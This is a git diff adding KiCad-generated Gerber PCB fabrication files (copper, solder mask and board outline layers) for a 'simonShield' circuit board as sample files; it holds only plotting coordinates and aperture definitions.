+X124000000Y-62500000D02*
+X124000000Y-63200000D01*
+X122968000Y-61468000D02*
+X124000000Y-62500000D01*
+D30*
+X120650000Y-81788000D02*
+X122488000Y-81788000D01*
+X122488000Y-81788000D02*
+X122600000Y-81900000D01*
+D34*
+X127400000Y-87100000D02*
+X125500000Y-87100000D01*
+X122600000Y-81900000D02*
+X122500000Y-81900000D01*
+X124300000Y-83600000D02*
+X122600000Y-81900000D01*
+X124300000Y-85900000D02*
+X124300000Y-83600000D01*
+X125500000Y-87100000D02*
+X124300000Y-85900000D01*
+D31*
+X129921000Y-86579000D02*
+X129921000Y-85217000D01*
+X129400000Y-87100000D02*
+X129921000Y-86579000D01*
+D34*
+X127400000Y-87100000D02*
+X129400000Y-87100000D01*
+D30*
+X120650000Y-94488000D02*
+X123012000Y-94488000D01*
+D34*
+X140500000Y-93400000D02*
+X139400000Y-92300000D01*
+X139400000Y-92300000D02*
+X125200000Y-92300000D01*
+X125200000Y-92300000D02*
+X123200000Y-94300000D01*
+D30*
+X180086000Y-87214000D02*
+X180086000Y-85217000D01*
+D34*
+X142700000Y-94900000D02*
+X141200000Y-93400000D01*
+D30*
+X166500000Y-94900000D02*
+X142700000Y-94900000D01*
+X171100000Y-90300000D02*
+X166500000Y-94900000D01*
+X177000000Y-90300000D02*
+X171100000Y-90300000D01*
+X180086000Y-87214000D02*
+X177000000Y-90300000D01*
+D34*
+X141200000Y-93400000D02*
+X140500000Y-93400000D01*
+D30*
+X123012000Y-94488000D02*
+X123200000Y-94300000D01*
+D32*
+X179966800Y-85164700D02*
+X180220800Y-85164700D01*
+D30*
+X120650000Y-102108000D02*
+X123408000Y-102108000D01*
+D34*
+X124500000Y-103200000D02*
+X123250000Y-101950000D01*
+X124500000Y-109300000D02*
+X124500000Y-103200000D01*
+X125600000Y-110400000D02*
+X124500000Y-109300000D01*
+X127900000Y-110400000D02*
+X125600000Y-110400000D01*
+D31*
+X127900000Y-110400000D02*
+X129842000Y-108458000D01*
+D30*
+X123408000Y-102108000D02*
+X123250000Y-101950000D01*
+D34*
+X129921000Y-108458000D02*
+X129842000Y-108458000D01*
+D30*
+X115800000Y-102600000D02*
+X116300000Y-102100000D01*
+D31*
+X179959000Y-110841000D02*
+X174400000Y-116400000D01*
+X174400000Y-116400000D02*
+X118500000Y-116400000D01*
+X118500000Y-116400000D02*
+X114800000Y-112700000D01*
+X114800000Y-112700000D02*
+X114800000Y-103600000D01*
+X114800000Y-103600000D02*
+X115800000Y-102600000D01*
+X179959000Y-108585000D02*
+X179959000Y-110841000D01*
+D30*
+X116300000Y-102100000D02*
+X118102000Y-102100000D01*
+X118102000Y-102100000D02*
+X118110000Y-102108000D01*
+X118110000Y-71628000D02*
+X115400000Y-71628000D01*
+X114600000Y-64700000D02*
+X115400000Y-65500000D01*
+X115400000Y-65500000D02*
+X115400000Y-71800000D01*
+D28*
+X159811000Y-62611000D02*
+X161544000Y-62611000D01*
+X157600000Y-60400000D02*
+X159811000Y-62611000D01*
+X157600000Y-58667000D02*
+X157600000Y-60400000D01*
+X153733000Y-54800000D02*
+X157600000Y-58667000D01*
+X117400000Y-54800000D02*
+X153733000Y-54800000D01*
+D30*
+X114600000Y-57600000D02*
+X117400000Y-54800000D01*
+X114600000Y-57600000D02*
+X114600000Y-64700000D01*
+X115400000Y-71628000D02*
+X115400000Y-71800000D01*
+D29*
+X145415000Y-97300000D02*
+X151200000Y-97300000D01*
+X158600000Y-97200000D02*
+X169200000Y-97200000D01*
+X158200000Y-96800000D02*
+X158600000Y-97200000D01*
+D30*
+X151700000Y-96800000D02*
+X158200000Y-96800000D01*
+X151200000Y-97300000D02*
+X151700000Y-96800000D01*
+X170900000Y-98900000D02*
+X169200000Y-97200000D01*
+X173500000Y-98900000D02*
+X170900000Y-98900000D01*
+X175565000Y-100965000D02*
+X173500000Y-98900000D01*
+D29*
+X164465000Y-97965000D02*
+X164400000Y-97900000D01*
+X164465000Y-101219000D02*
+X164465000Y-97965000D01*
+X145415000Y-101346000D02*
+X145415000Y-97300000D01*
+X145415000Y-97300000D02*
+X145415000Y-97200000D01*
+D30*
+X175641000Y-100965000D02*
+X175565000Y-100965000D01*
+D29*
+X138400000Y-98900000D02*
+X138700000Y-98900000D01*
+D30*
+X136200000Y-98900000D02*
+X138400000Y-98900000D01*
+X134262000Y-100838000D02*
+X136200000Y-98900000D01*
+D29*
+X138700000Y-98900000D02*
+X140400000Y-97200000D01*
+X145500000Y-97500000D02*
+X145500000Y-97200000D01*
+X145500000Y-97285000D02*
+X145500000Y-97500000D01*
+X145415000Y-97200000D02*
+X145500000Y-97285000D01*
+X139400000Y-94700000D02*
+X139400000Y-96200000D01*
+X139400000Y-96200000D02*
+X140400000Y-97200000D01*
+X171700000Y-93200000D02*
+X183300000Y-93200000D01*
+X169200000Y-97200000D02*
+X171100000Y-95300000D01*
+X171100000Y-95300000D02*
+X171100000Y-93800000D01*
+X171100000Y-93800000D02*
+X171700000Y-93200000D01*
+X140400000Y-97200000D02*
+X145500000Y-97200000D01*
+D30*
+X183250000Y-93150000D02*
+X183300000Y-93200000D01*
+D28*
+X183300000Y-93200000D02*
+X185900000Y-95800000D01*
+X183515000Y-100965000D02*
+X185900000Y-98580000D01*
+X185900000Y-95800000D02*
+X185900000Y-98580000D01*
+X183700000Y-92900000D02*
+X186316800Y-90283200D01*
+D29*
+X186316800Y-90283200D02*
+X186316800Y-75004700D01*
+D28*
+X185618300Y-68273700D02*
+X180093800Y-68273700D01*
+D29*
+X186316800Y-68972200D02*
+X185935800Y-68591200D01*
+D33*
+X185935800Y-68591200D02*
+X185618300Y-68273700D01*
+D29*
+X186316800Y-75004700D02*
+X186316800Y-68972200D01*
+D31*
+X134239000Y-100838000D02*
+X134262000Y-100838000D01*
+X126365000Y-100838000D02*
+X126338000Y-100838000D01*
+X126338000Y-100838000D02*
+X125000000Y-99500000D01*
+X125000000Y-99500000D02*
+X125000000Y-95200000D01*
+X125000000Y-95200000D02*
+X126700000Y-93500000D01*
+X126700000Y-93500000D02*
+X138200000Y-93500000D01*
+X138200000Y-93500000D02*
+X139400000Y-94700000D01*
+D30*
+X139400000Y-94700000D02*
+X139200000Y-94500000D01*
+D28*
+X170500000Y-75500000D02*
+X170500000Y-68273700D01*
+D29*
+X170500000Y-68273700D02*
+X170010000Y-68273700D01*
+D28*
+X164465000Y-77851000D02*
+X164465000Y-76285000D01*
+X165250000Y-75500000D02*
+X170500000Y-75500000D01*
+D30*
+X170500000Y-75500000D02*
+X171250000Y-75500000D01*
+D28*
+X164465000Y-76285000D02*
+X165250000Y-75500000D01*
+D30*
+X173544000Y-75500000D02*
+X175641000Y-77597000D01*
+X171250000Y-75500000D02*
+X173544000Y-75500000D01*
+D28*
+X145415000Y-77724000D02*
+X145415000Y-75665000D01*
+X144000000Y-74250000D02*
+X140500000Y-74250000D01*
+X145415000Y-75665000D02*
+X144000000Y-74250000D01*
+D31*
+X134239000Y-77724000D02*
+X134239000Y-77511000D01*
+X134239000Y-77511000D02*
+X136500000Y-75250000D01*
+D29*
+X136500000Y-75250000D02*
+X139500000Y-75250000D01*
+X139500000Y-75250000D02*
+X140500000Y-74250000D01*
+D28*
+X140500000Y-74250000D02*
+X140500000Y-71250000D01*
+X140500000Y-71250000D02*
+X137750000Y-68500000D01*
+X137750000Y-68500000D02*
+X129250000Y-68500000D01*
+D30*
+X129250000Y-68500000D02*
+X129250000Y-68750000D01*
+D31*
+X126365000Y-77597000D02*
+X126347000Y-77597000D01*
+D29*
+X126347000Y-77597000D02*
+X123200000Y-74450000D01*
+X123200000Y-74450000D02*
+X123200000Y-73050000D01*
+D28*
+X123200000Y-73050000D02*
+X127500000Y-68750000D01*
+X127500000Y-68750000D02*
+X129250000Y-68750000D01*
+D30*
+X129250000Y-68750000D02*
+X129000000Y-68750000D01*
+X129000000Y-68750000D02*
+X129547800Y-68202200D01*
+D28*
+X129547800Y-68202200D02*
+X129547800Y-64082700D01*
+X129547800Y-61542700D02*
+X129547800Y-64082700D01*
+X131000000Y-64082700D02*
+X129547800Y-64082700D01*
+X159974000Y-67750000D02*
+X150322000Y-67750000D01*
+X150322000Y-67750000D02*
+X146642000Y-64070000D01*
+X146642000Y-64070000D02*
+X142070000Y-64070000D01*
+D33*
+X142070000Y-64070000D02*
+X142070000Y-64082700D01*
+D28*
+X170010000Y-68273700D02*
+X168726300Y-68273700D01*
+X163224000Y-71000000D02*
+X159974000Y-67750000D01*
+X166000000Y-71000000D02*
+X163224000Y-71000000D01*
+X168726300Y-68273700D02*
+X166000000Y-71000000D01*
+D33*
+X171457800Y-68273700D02*
+X170010000Y-68273700D01*
+D28*
+X180093800Y-68273700D02*
+X171457800Y-68273700D01*
+D33*
+X170010000Y-68273700D02*
+X169806800Y-68273700D01*
+X142438300Y-64082700D02*
+X142070000Y-64082700D01*
+D28*
+X142070000Y-64082700D02*
+X131000000Y-64082700D01*
+D33*
+X131000000Y-64082700D02*
+X130817800Y-64082700D01*
+X132722800Y-64082700D02*
+X130817800Y-64082700D01*
+D28*
+X171521300Y-59637700D02*
+X171521300Y-59650464D01*
+D29*
+X169204164Y-59650464D02*
+X171521300Y-59650464D01*
+D33*
+X171521300Y-59650464D02*
+X171534064Y-59650464D01*
+D28*
+X171534064Y-59650464D02*
+X180093800Y-68210200D01*
+D33*
+X180093800Y-68210200D02*
+X180093800Y-68273700D01*
+D32*
+X145422800Y-101166700D02*
+X145422800Y-100658700D01*
+M02*
diff --git a/samples/Gerber Image/simonShield-B.Mask.gbr b/samples/Gerber Image/simonShield-B.Mask.gbr
new file mode 100644
index 0000000000..758a85e50f
--- /dev/null
+++ b/samples/Gerber Image/simonShield-B.Mask.gbr	
@@ -0,0 +1,210 @@
+G04 #@! TF.FileFunction,Soldermask,Bot*
+%FSLAX46Y46*%
+G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
+G04 Created by KiCad (PCBNEW 4.0.6-e0-6349~53~ubuntu16.04.1) date Sat Jul  1 03:26:18 2017*
+%MOMM*%
+%LPD*%
+G01*
+G04 APERTURE LIST*
+%ADD10C,0.100000*%
+%ADD11C,0.150000*%
+%ADD12C,2.000000*%
+%ADD13O,2.000000X2.000000*%
+%ADD14R,2.400000X1.924000*%
+%ADD15O,2.400000X1.924000*%
+%ADD16R,1.700000X1.700000*%
+%ADD17C,1.700000*%
+%ADD18C,2.398980*%
+%ADD19R,2.300000X2.400000*%
+%ADD20C,2.300000*%
+%ADD21R,2.127200X2.127200*%
+%ADD22O,2.127200X2.127200*%
+%ADD23C,1.400760*%
+%ADD24C,1.797000*%
+%ADD25C,2.000200*%
+G04 APERTURE END LIST*
+D10*
+D11*
+X196250000Y-118000000D02*
+X113000000Y-118000000D01*
+X196250000Y-52750000D02*
+X196250000Y-118000000D01*
+X113000000Y-52750000D02*
+X196250000Y-52750000D01*
+X113000000Y-118000000D02*
+X113000000Y-52750000D01*
+D12*
+X145400000Y-68800000D03*
+D13*
+X145400000Y-58640000D03*
+D14*
+X189230000Y-61468000D03*
+D15*
+X191770000Y-61468000D03*
+X189230000Y-74168000D03*
+X189230000Y-109728000D03*
+X191770000Y-109728000D03*
+X191770000Y-97028000D03*
+D14*
+X118110000Y-61468000D03*
+D15*
+X120650000Y-61468000D03*
+X118110000Y-64008000D03*
+X120650000Y-64008000D03*
+X118110000Y-66548000D03*
+X120650000Y-66548000D03*
+X118110000Y-69088000D03*
+X120650000Y-69088000D03*
+X118110000Y-71628000D03*
+X120650000Y-71628000D03*
+X118110000Y-74168000D03*
+X120650000Y-74168000D03*
+X118110000Y-76708000D03*
+X120650000Y-76708000D03*
+X118110000Y-79248000D03*
+X120650000Y-79248000D03*
+X118110000Y-81788000D03*
+X120650000Y-81788000D03*
+X118110000Y-84328000D03*
+X120650000Y-84328000D03*
+X118110000Y-86868000D03*
+X120650000Y-86868000D03*
+X118110000Y-89408000D03*
+X120650000Y-89408000D03*
+X118110000Y-91948000D03*
+X120650000Y-91948000D03*
+X118110000Y-94488000D03*
+X120650000Y-94488000D03*
+X118110000Y-97028000D03*
+X120650000Y-97028000D03*
+X118110000Y-99568000D03*
+X120650000Y-99568000D03*
+X118110000Y-102108000D03*
+X120650000Y-102108000D03*
+X118110000Y-104648000D03*
+X120650000Y-104648000D03*
+X118110000Y-107188000D03*
+X120650000Y-107188000D03*
+X118110000Y-109728000D03*
+X120650000Y-109728000D03*
+D16*
+X135255000Y-64008000D03*
+D17*
+X135255000Y-61508000D03*
+D18*
+X164465000Y-85471000D03*
+X164465000Y-77851000D03*
+D19*
+X136017000Y-72644000D03*
+D20*
+X133477000Y-72644000D03*
+D19*
+X173863000Y-72644000D03*
+D20*
+X176403000Y-72644000D03*
+D19*
+X136017000Y-96139000D03*
+D20*
+X133477000Y-96139000D03*
+D19*
+X173863000Y-96012000D03*
+D20*
+X176403000Y-96012000D03*
+D21*
+X127007800Y-61542700D03*
+D22*
+X129547800Y-61542700D03*
+X127007800Y-64082700D03*
+X129547800Y-64082700D03*
+D23*
+X166243000Y-67056000D03*
+X164973000Y-68326000D03*
+X164973000Y-65786000D03*
+X128143000Y-71374000D03*
+X129413000Y-72644000D03*
+X126873000Y-72644000D03*
+X181737000Y-73914000D03*
+X180467000Y-72644000D03*
+X183007000Y-72644000D03*
+X128143000Y-94742000D03*
+X129413000Y-96012000D03*
+X126873000Y-96012000D03*
+X181737000Y-97282000D03*
+X180467000Y-96012000D03*
+X183007000Y-96012000D03*
+D18*
+X134239000Y-85344000D03*
+X134239000Y-77724000D03*
+X145415000Y-85344000D03*
+X145415000Y-77724000D03*
+X175641000Y-85217000D03*
+X175641000Y-77597000D03*
+X145415000Y-108966000D03*
+X145415000Y-101346000D03*
+X134239000Y-108458000D03*
+X134239000Y-100838000D03*
+X175641000Y-108585000D03*
+X175641000Y-100965000D03*
+X164465000Y-108839000D03*
+X164465000Y-101219000D03*
+X169164000Y-62611000D03*
+X161544000Y-62611000D03*
+X169164000Y-59563000D03*
+X161544000Y-59563000D03*
+X129921000Y-85217000D03*
+X129921000Y-77597000D03*
+X126365000Y-85217000D03*
+X126365000Y-77597000D03*
+X180086000Y-85217000D03*
+X180086000Y-77597000D03*
+X183515000Y-85217000D03*
+X183515000Y-77597000D03*
+X129921000Y-108458000D03*
+X129921000Y-100838000D03*
+X126365000Y-108458000D03*
+X126365000Y-100838000D03*
+X179959000Y-108585000D03*
+X179959000Y-100965000D03*
+X183515000Y-108585000D03*
+X183515000Y-100965000D03*
+D12*
+X155000000Y-99000000D03*
+D13*
+X155000000Y-88840000D03*
+D24*
+X137287000Y-77724000D03*
+X142367000Y-77724000D03*
+X137287000Y-85344000D03*
+X142367000Y-85344000D03*
+X148463000Y-77724000D03*
+X153543000Y-77724000D03*
+X148463000Y-85344000D03*
+X153543000Y-85344000D03*
+X172593000Y-85344000D03*
+X167513000Y-85344000D03*
+X172593000Y-77724000D03*
+X167513000Y-77724000D03*
+X161417000Y-85344000D03*
+X156337000Y-85344000D03*
+X161417000Y-77724000D03*
+X156337000Y-77724000D03*
+X148463000Y-101219000D03*
+X153543000Y-101219000D03*
+X148463000Y-108839000D03*
+X153543000Y-108839000D03*
+X137287000Y-101219000D03*
+X142367000Y-101219000D03*
+X137287000Y-108839000D03*
+X142367000Y-108839000D03*
+X172593000Y-108712000D03*
+X167513000Y-108712000D03*
+X172593000Y-101092000D03*
+X167513000Y-101092000D03*
+X161417000Y-108712000D03*
+X156337000Y-108712000D03*
+X161417000Y-101092000D03*
+X156337000Y-101092000D03*
+D25*
+X157178971Y-64124429D03*
+X150828971Y-64124429D03*
+M02*
diff --git a/samples/Gerber Image/simonShield-Edge.Cuts.gbr b/samples/Gerber Image/simonShield-Edge.Cuts.gbr
new file mode 100644
index 0000000000..5955b8588f
--- /dev/null
+++ b/samples/Gerber Image/simonShield-Edge.Cuts.gbr	
@@ -0,0 +1,22 @@
+G04 #@! TF.FileFunction,Profile,NP*
+%FSLAX46Y46*%
+G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
+G04 Created by KiCad (PCBNEW 4.0.6-e0-6349~53~ubuntu16.04.1) date Sat Jul  1 03:26:18 2017*
+%MOMM*%
+%LPD*%
+G01*
+G04 APERTURE LIST*
+%ADD10C,0.100000*%
+%ADD11C,0.150000*%
+G04 APERTURE END LIST*
+D10*
+D11*
+X196250000Y-118000000D02*
+X113000000Y-118000000D01*
+X196250000Y-52750000D02*
+X196250000Y-118000000D01*
+X113000000Y-52750000D02*
+X196250000Y-52750000D01*
+X113000000Y-118000000D02*
+X113000000Y-52750000D01*
+M02*
diff --git a/samples/Gerber Image/simonShield-F.Cu.gbr b/samples/Gerber Image/simonShield-F.Cu.gbr
new file mode 100644
index 0000000000..a9844263d7
--- /dev/null
+++ b/samples/Gerber Image/simonShield-F.Cu.gbr	
@@ -0,0 +1,287 @@
+G04 #@! TF.FileFunction,Copper,L1,Top,Signal*
+%FSLAX46Y46*%
+G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
+G04 Created by KiCad (PCBNEW 4.0.6-e0-6349~53~ubuntu16.04.1) date Sat Jul  1 03:26:18 2017*
+%MOMM*%
+%LPD*%
+G01*
+G04 APERTURE LIST*
+%ADD10C,0.100000*%
+%ADD11C,0.150000*%
+%ADD12C,1.600000*%
+%ADD13O,1.600000X1.600000*%
+%ADD14R,2.000000X1.524000*%
+%ADD15O,2.000000X1.524000*%
+%ADD16R,1.300000X1.300000*%
+%ADD17C,1.300000*%
+%ADD18C,1.998980*%
+%ADD19R,1.900000X2.000000*%
+%ADD20C,1.900000*%
+%ADD21C,1.000000*%
+%ADD22R,1.727200X1.727200*%
+%ADD23O,1.727200X1.727200*%
+%ADD24C,1.000760*%
+%ADD25C,1.397000*%
+%ADD26C,1.600200*%
+%ADD27C,1.270000*%
+%ADD28C,0.304800*%
+G04 APERTURE END LIST*
+D10*
+D11*
+X196250000Y-118000000D02*
+X113000000Y-118000000D01*
+X196250000Y-52750000D02*
+X196250000Y-118000000D01*
+X113000000Y-52750000D02*
+X196250000Y-52750000D01*
+X113000000Y-118000000D02*
+X113000000Y-52750000D01*
+D12*
+X145400000Y-68800000D03*
+D13*
+X145400000Y-58640000D03*
+D14*
+X189230000Y-61468000D03*
+D15*
+X191770000Y-61468000D03*
+X189230000Y-74168000D03*
+X191770000Y-64008000D03*
+X189230000Y-76708000D03*
+X191770000Y-66548000D03*
+X189230000Y-79248000D03*
+X191770000Y-69088000D03*
+X189230000Y-81788000D03*
+X191770000Y-71628000D03*
+X189230000Y-84328000D03*
+X191770000Y-74168000D03*
+X189230000Y-86868000D03*
+X191770000Y-76708000D03*
+X189230000Y-89408000D03*
+X191770000Y-79248000D03*
+X189230000Y-91948000D03*
+X191770000Y-81788000D03*
+X189230000Y-94488000D03*
+X191770000Y-84328000D03*
+X189230000Y-97028000D03*
+X191770000Y-86868000D03*
+X189230000Y-99568000D03*
+X191770000Y-89408000D03*
+X191770000Y-91948000D03*
+X189230000Y-102108000D03*
+X191770000Y-94488000D03*
+X191770000Y-99568000D03*
+X191770000Y-102108000D03*
+X191770000Y-104648000D03*
+X191770000Y-107188000D03*
+X189230000Y-104648000D03*
+X189230000Y-107188000D03*
+X189230000Y-64008000D03*
+X189230000Y-66548000D03*
+X189230000Y-69088000D03*
+X189230000Y-71628000D03*
+X189230000Y-109728000D03*
+X191770000Y-109728000D03*
+X191770000Y-97028000D03*
+D14*
+X118110000Y-61468000D03*
+D15*
+X120650000Y-61468000D03*
+X118110000Y-64008000D03*
+X120650000Y-64008000D03*
+X118110000Y-66548000D03*
+X120650000Y-66548000D03*
+X118110000Y-69088000D03*
+X120650000Y-69088000D03*
+X118110000Y-71628000D03*
+X120650000Y-71628000D03*
+X118110000Y-74168000D03*
+X120650000Y-74168000D03*
+X118110000Y-76708000D03*
+X120650000Y-76708000D03*
+X118110000Y-79248000D03*
+X120650000Y-79248000D03*
+X118110000Y-81788000D03*
+X120650000Y-81788000D03*
+X118110000Y-84328000D03*
+X120650000Y-84328000D03*
+X118110000Y-86868000D03*
+X120650000Y-86868000D03*
+X118110000Y-89408000D03*
+X120650000Y-89408000D03*
+X118110000Y-91948000D03*
+X120650000Y-91948000D03*
+X118110000Y-94488000D03*
+X120650000Y-94488000D03*
+X118110000Y-97028000D03*
+X120650000Y-97028000D03*
+X118110000Y-99568000D03*
+X120650000Y-99568000D03*
+X118110000Y-102108000D03*
+X120650000Y-102108000D03*
+X118110000Y-104648000D03*
+X120650000Y-104648000D03*
+X118110000Y-107188000D03*
+X120650000Y-107188000D03*
+X118110000Y-109728000D03*
+X120650000Y-109728000D03*
+D16*
+X135255000Y-64008000D03*
+D17*
+X135255000Y-61508000D03*
+D18*
+X164465000Y-85471000D03*
+X164465000Y-77851000D03*
+D19*
+X136017000Y-72644000D03*
+D20*
+X133477000Y-72644000D03*
+D19*
+X173863000Y-72644000D03*
+D20*
+X176403000Y-72644000D03*
+D19*
+X136017000Y-96139000D03*
+D20*
+X133477000Y-96139000D03*
+D19*
+X173863000Y-96012000D03*
+D20*
+X176403000Y-96012000D03*
+D21*
+X125250000Y-112250000D03*
+X160500000Y-70500000D03*
+X167250000Y-92250000D03*
+D22*
+X127007800Y-61542700D03*
+D23*
+X129547800Y-61542700D03*
+X127007800Y-64082700D03*
+X129547800Y-64082700D03*
+D24*
+X166243000Y-67056000D03*
+X164973000Y-68326000D03*
+X164973000Y-65786000D03*
+X128143000Y-71374000D03*
+X129413000Y-72644000D03*
+X126873000Y-72644000D03*
+X181737000Y-73914000D03*
+X180467000Y-72644000D03*
+X183007000Y-72644000D03*
+X128143000Y-94742000D03*
+X129413000Y-96012000D03*
+X126873000Y-96012000D03*
+X181737000Y-97282000D03*
+X180467000Y-96012000D03*
+X183007000Y-96012000D03*
+D18*
+X134239000Y-85344000D03*
+X134239000Y-77724000D03*
+X145415000Y-85344000D03*
+X145415000Y-77724000D03*
+X175641000Y-85217000D03*
+X175641000Y-77597000D03*
+X145415000Y-108966000D03*
+X145415000Y-101346000D03*
+X134239000Y-108458000D03*
+X134239000Y-100838000D03*
+X175641000Y-108585000D03*
+X175641000Y-100965000D03*
+X164465000Y-108839000D03*
+X164465000Y-101219000D03*
+X169164000Y-62611000D03*
+X161544000Y-62611000D03*
+X169164000Y-59563000D03*
+X161544000Y-59563000D03*
+X129921000Y-85217000D03*
+X129921000Y-77597000D03*
+X126365000Y-85217000D03*
+X126365000Y-77597000D03*
+X180086000Y-85217000D03*
+X180086000Y-77597000D03*
+X183515000Y-85217000D03*
+X183515000Y-77597000D03*
+X129921000Y-108458000D03*
+X129921000Y-100838000D03*
+X126365000Y-108458000D03*
+X126365000Y-100838000D03*
+X179959000Y-108585000D03*
+X179959000Y-100965000D03*
+X183515000Y-108585000D03*
+X183515000Y-100965000D03*
+D12*
+X155000000Y-99000000D03*
+D13*
+X155000000Y-88840000D03*
+D25*
+X137287000Y-77724000D03*
+X142367000Y-77724000D03*
+X137287000Y-85344000D03*
+X142367000Y-85344000D03*
+X148463000Y-77724000D03*
+X153543000Y-77724000D03*
+X148463000Y-85344000D03*
+X153543000Y-85344000D03*
+X172593000Y-85344000D03*
+X167513000Y-85344000D03*
+X172593000Y-77724000D03*
+X167513000Y-77724000D03*
+X161417000Y-85344000D03*
+X156337000Y-85344000D03*
+X161417000Y-77724000D03*
+X156337000Y-77724000D03*
+X148463000Y-101219000D03*
+X153543000Y-101219000D03*
+X148463000Y-108839000D03*
+X153543000Y-108839000D03*
+X137287000Y-101219000D03*
+X142367000Y-101219000D03*
+X137287000Y-108839000D03*
+X142367000Y-108839000D03*
+X172593000Y-108712000D03*
+X167513000Y-108712000D03*
+X172593000Y-101092000D03*
+X167513000Y-101092000D03*
+X161417000Y-108712000D03*
+X156337000Y-108712000D03*
+X161417000Y-101092000D03*
+X156337000Y-101092000D03*
+D26*
+X157178971Y-64124429D03*
+X150828971Y-64124429D03*
+D27*
+X137287000Y-80137000D03*
+X137287000Y-83439000D03*
+X148336000Y-79629000D03*
+X148463000Y-83185000D03*
+X172593000Y-80137000D03*
+X172593000Y-83312000D03*
+X161417000Y-80010000D03*
+X161417000Y-83439000D03*
+X137287000Y-103505000D03*
+X137287000Y-106680000D03*
+X172593000Y-103378000D03*
+X172593000Y-106934000D03*
+X148463000Y-103505000D03*
+X148463000Y-106934000D03*
+X161417000Y-103759000D03*
+X161417000Y-106934000D03*
+D28*
+X137287000Y-83439000D02*
+X137287000Y-80137000D01*
+X148336000Y-83058000D02*
+X148336000Y-79629000D01*
+X148463000Y-83185000D02*
+X148336000Y-83058000D01*
+X172593000Y-83312000D02*
+X172593000Y-80137000D01*
+X161417000Y-83439000D02*
+X161417000Y-80010000D01*
+X137287000Y-106680000D02*
+X137287000Y-103505000D01*
+X172593000Y-106934000D02*
+X172593000Y-103378000D01*
+X148463000Y-106934000D02*
+X148463000Y-103505000D01*
+X161417000Y-106934000D02*
+X161417000Y-103759000D01*
+M02*
diff --git a/samples/Gerber Image/simonShield-F.Mask.gbr b/samples/Gerber Image/simonShield-F.Mask.gbr
new file mode 100644
index 0000000000..394887579e
--- /dev/null
+++ b/samples/Gerber Image/simonShield-F.Mask.gbr	
@@ -0,0 +1,249 @@
+G04 #@! TF.FileFunction,Soldermask,Top*
+%FSLAX46Y46*%
+G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
+G04 Created by KiCad (PCBNEW 4.0.6-e0-6349~53~ubuntu16.04.1) date Sat Jul  1 03:26:18 2017*
+%MOMM*%
+%LPD*%
+G01*
+G04 APERTURE LIST*
+%ADD10C,0.100000*%
+%ADD11C,0.150000*%
+%ADD12C,2.000000*%
+%ADD13O,2.000000X2.000000*%
+%ADD14R,2.400000X1.924000*%
+%ADD15O,2.400000X1.924000*%
+%ADD16R,1.700000X1.700000*%
+%ADD17C,1.700000*%
+%ADD18C,2.398980*%
+%ADD19R,2.300000X2.400000*%
+%ADD20C,2.300000*%
+%ADD21C,4.000000*%
+%ADD22R,2.127200X2.127200*%
+%ADD23O,2.127200X2.127200*%
+%ADD24C,1.400760*%
+%ADD25C,1.797000*%
+%ADD26C,2.000200*%
+G04 APERTURE END LIST*
+D10*
+D11*
+X196250000Y-118000000D02*
+X113000000Y-118000000D01*
+X196250000Y-52750000D02*
+X196250000Y-118000000D01*
+X113000000Y-52750000D02*
+X196250000Y-52750000D01*
+X113000000Y-118000000D02*
+X113000000Y-52750000D01*
+D12*
+X145400000Y-68800000D03*
+D13*
+X145400000Y-58640000D03*
+D14*
+X189230000Y-61468000D03*
+D15*
+X191770000Y-61468000D03*
+X189230000Y-74168000D03*
+X191770000Y-64008000D03*
+X189230000Y-76708000D03*
+X191770000Y-66548000D03*
+X189230000Y-79248000D03*
+X191770000Y-69088000D03*
+X189230000Y-81788000D03*
+X191770000Y-71628000D03*
+X189230000Y-84328000D03*
+X191770000Y-74168000D03*
+X189230000Y-86868000D03*
+X191770000Y-76708000D03*
+X189230000Y-89408000D03*
+X191770000Y-79248000D03*
+X189230000Y-91948000D03*
+X191770000Y-81788000D03*
+X189230000Y-94488000D03*
+X191770000Y-84328000D03*
+X189230000Y-97028000D03*
+X191770000Y-86868000D03*
+X189230000Y-99568000D03*
+X191770000Y-89408000D03*
+X191770000Y-91948000D03*
+X189230000Y-102108000D03*
+X191770000Y-94488000D03*
+X191770000Y-99568000D03*
+X191770000Y-102108000D03*
+X191770000Y-104648000D03*
+X191770000Y-107188000D03*
+X189230000Y-104648000D03*
+X189230000Y-107188000D03*
+X189230000Y-64008000D03*
+X189230000Y-66548000D03*
+X189230000Y-69088000D03*
+X189230000Y-71628000D03*
+X189230000Y-109728000D03*
+X191770000Y-109728000D03*
+X191770000Y-97028000D03*
+D14*
+X118110000Y-61468000D03*
+D15*
+X120650000Y-61468000D03*
+X118110000Y-64008000D03*
+X120650000Y-64008000D03*
+X118110000Y-66548000D03*
+X120650000Y-66548000D03*
+X118110000Y-69088000D03*
+X120650000Y-69088000D03*
+X118110000Y-71628000D03*
+X120650000Y-71628000D03*
+X118110000Y-74168000D03*
+X120650000Y-74168000D03*
+X118110000Y-76708000D03*
+X120650000Y-76708000D03*
+X118110000Y-79248000D03*
+X120650000Y-79248000D03*
+X118110000Y-81788000D03*
+X120650000Y-81788000D03*
+X118110000Y-84328000D03*
+X120650000Y-84328000D03*
+X118110000Y-86868000D03*
+X120650000Y-86868000D03*
+X118110000Y-89408000D03*
+X120650000Y-89408000D03*
+X118110000Y-91948000D03*
+X120650000Y-91948000D03*
+X118110000Y-94488000D03*
+X120650000Y-94488000D03*
+X118110000Y-97028000D03*
+X120650000Y-97028000D03*
+X118110000Y-99568000D03*
+X120650000Y-99568000D03*
+X118110000Y-102108000D03*
+X120650000Y-102108000D03*
+X118110000Y-104648000D03*
+X120650000Y-104648000D03*
+X118110000Y-107188000D03*
+X120650000Y-107188000D03*
+X118110000Y-109728000D03*
+X120650000Y-109728000D03*
+D16*
+X135255000Y-64008000D03*
+D17*
+X135255000Y-61508000D03*
+D18*
+X164465000Y-85471000D03*
+X164465000Y-77851000D03*
+D19*
+X136017000Y-72644000D03*
+D20*
+X133477000Y-72644000D03*
+D19*
+X173863000Y-72644000D03*
+D20*
+X176403000Y-72644000D03*
+D19*
+X136017000Y-96139000D03*
+D20*
+X133477000Y-96139000D03*
+D19*
+X173863000Y-96012000D03*
+D20*
+X176403000Y-96012000D03*
+D21*
+X125250000Y-112250000D03*
+X160500000Y-70500000D03*
+X167250000Y-92250000D03*
+D22*
+X127007800Y-61542700D03*
+D23*
+X129547800Y-61542700D03*
+X127007800Y-64082700D03*
+X129547800Y-64082700D03*
+D24*
+X166243000Y-67056000D03*
+X164973000Y-68326000D03*
